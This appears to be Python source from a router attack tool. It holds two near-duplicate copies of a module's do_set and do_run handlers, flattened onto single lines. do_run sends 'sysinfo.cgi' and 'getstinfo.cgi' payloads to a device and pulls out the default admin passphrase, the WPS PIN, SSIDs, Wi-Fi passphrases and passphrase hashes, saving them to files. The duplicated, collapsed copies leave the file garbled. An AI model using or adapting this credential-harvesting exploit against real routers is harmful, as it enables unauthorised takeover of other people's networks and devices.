def do_set(self, e): args = e.split(' ') if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address")
def do_set(self, e): args = e.split(' ') if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address")
def do_run(self, e): print_warning("Sending payload sysinfo") result = self.send_payload("sysinfo.cgi") if result: print_success("Got system information, writing to file") core.io.writetextfile(result, "sysinfo") print_info("Analyzing sysinfo...") regex = re.search("device::default_passphrase=(.*)", result) if regex: try: print_green("Default admin passphrasse: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrasse") regex = re.search("device::mac_addr=(.*)", result) if regex: try: print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1))) except IndexError: print_error("Unable to locate MAC") regex = re.search("device::default_ssid=(.*)", result) if regex: try: print_green("Default SSID:: " + regex.group(1)) except IndexError: print_error("Unable to locate default SSID") regex = re.search("device::wps_pin=(.*)", result) if regex: try: print_green("WPS Pin: " + regex.group(1)) except IndexError: print_error("Unable to locate WPS pin") regex = re.search("wl0_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl0_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") regex = re.search("wl1_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl1_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") print_yellow("Sending payload getstinfo") result = self.send_payload("getstinfo.cgi") if result: print_success("Got SSID hash and passphrase hash, writing to file") core.io.writetextfile(result, "getstinfo") print_success(result)
def do_run(self, e): print_yellow("Sending payload sysinfo") result = self.send_payload("sysinfo.cgi") if result: print_green("Got system information, writing to file") core.io.writetextfile(result, "sysinfo") print_green("Analyzing sysinfo...") regex = re.search("device::default_passphrase=(.*)", result) if regex: try: print_green("Default admin passphrasse: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrasse") regex = re.search("device::mac_addr=(.*)", result) if regex: try: print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1))) except IndexError: print_error("Unable to locate MAC") regex = re.search("device::default_ssid=(.*)", result) if regex: try: print_green("Default SSID:: " + regex.group(1)) except IndexError: print_error("Unable to locate default SSID") regex = re.search("device::wps_pin=(.*)", result) if regex: try: print_green("WPS Pin: " + regex.group(1)) except IndexError: print_error("Unable to locate WPS pin") regex = re.search("wl0_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl0_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") regex = re.search("wl1_ssid=(.*)", result) if regex: try: print_green("SSID: " + regex.group(1)) except IndexError: print_error("Unable to locate SSID") regex = re.search("wl1_passphrase=(.*)", result) if regex: try: print_green("Passphrase: " + regex.group(1)) except IndexError: print_error("Unable to locate passphrase") print_yellow("Sending payload getstinfo") result = self.send_payload("getstinfo.cgi") if result: print_green("Got SSID hash and passphrase hash, writing to file") core.io.writetextfile(result, "getstinfo") print_green(result)